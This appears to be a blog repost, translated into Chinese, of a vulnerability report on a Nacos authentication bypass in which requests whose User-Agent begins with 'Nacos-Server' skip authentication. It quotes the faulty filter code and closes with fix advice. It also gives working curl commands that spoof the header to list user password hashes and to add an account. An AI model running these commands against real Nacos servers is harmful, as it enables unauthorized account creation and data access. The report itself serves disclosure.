【漏洞报告】NACOS身份认证绕过漏洞

原文为全英文以下为中文翻译,本文涉及的代码请考虑安全后在做运行
NACOS身份认证绕过漏洞

Nacos启用身份验证后,您仍然可以绕过身份验证并访问任何http界面。

默认情况下,nacos需要修改application.properties配置文件或添加JVM启动变量-Dnacos.core.auth.enabled = true以启用身份验证功能(参考:https://nacos.io/zh-cn/docs/auth.html)

但是打开身份验证后,我发现在代码中,在某些情况下仍然可以绕过身份验证,并且可以调用任何接口。通过此漏洞,我可以绕过身份验证并执行以下操作:

调用添加用户界面,添加新用户(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用户登录控制台以访问,修改和添加数据。

1.漏洞详情

漏洞的主要来源是:

com.alibaba.nacos.core.auth.AuthFilter#doFilter

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
        throws IOException, ServletException {

    if (!authConfigs.isAuthEnabled()) {
        chain.doFilter(request, response);
        return;
    }

    HttpServletRequest req = (HttpServletRequest) request;
    HttpServletResponse resp = (HttpServletResponse) response;

    String userAgent = WebUtils.getUserAgent(req);

    if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
        chain.doFilter(request, response);
        return;
    }

    ...
}

如您所见,这里有一个if判断语句。它判断userAgent(http标头-UserAgent)以Constants.NACOS_SERVER_HEADER字符串(Nacos-Server)开头,并跳过任何后续身份验证。

根据我的猜测,此处的代码应用于在未经身份验证的情况下调用内科中某些服务的nacos的http接口,但是当我检查正式文档时,对此没有任何解释,因此我检查了身份验证。相关文档(https://nacos.io/en-us/docs/auth.html),仅描述如何启用身份验证以及不启用身份验证的后果。

但是正因为如此,用户会认为通过身份验证文档中描述的配置,可以在配置了身份验证之后安全地使用nacos,但是由于绕过了此处的UserAgent,因此身份验证是无用的。

这是默认情况下安全的重要性。

2.漏洞的范围

影响范围:

  1. 2.0.0-ALPHA.1
  2. 1.xx

3.漏洞复现

访问用户列表界面

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

如您所见,认证被绕过,并且返回用户列表数据

{
    "totalCount": 1,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        }
    ]
}
  • 添加新用户
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'

如您所见,已绕过身份验证,并添加了新用户

{
    "code":200,
    "message":"create user ok!",
    "data":null
}
  • 再次查看用户列表
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

如您所见,在返回的用户列表数据中,我们通过绕过身份验证创建了一个用户。

{
    "totalCount": 2,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        },
        {
            "username": "test",
            "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
        }
    ]
}

4.维修建议

  1. 默认情况下,如果启用了身份验证,则不应允许默认的UserAgent:Nacos-Server请求绕过身份验证
  2. 相关UserAgent:Nacos-Server绕过身份验证的请求的描述应添加到文档中
© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
大佬不来一句? 抢沙发

请登录后发表评论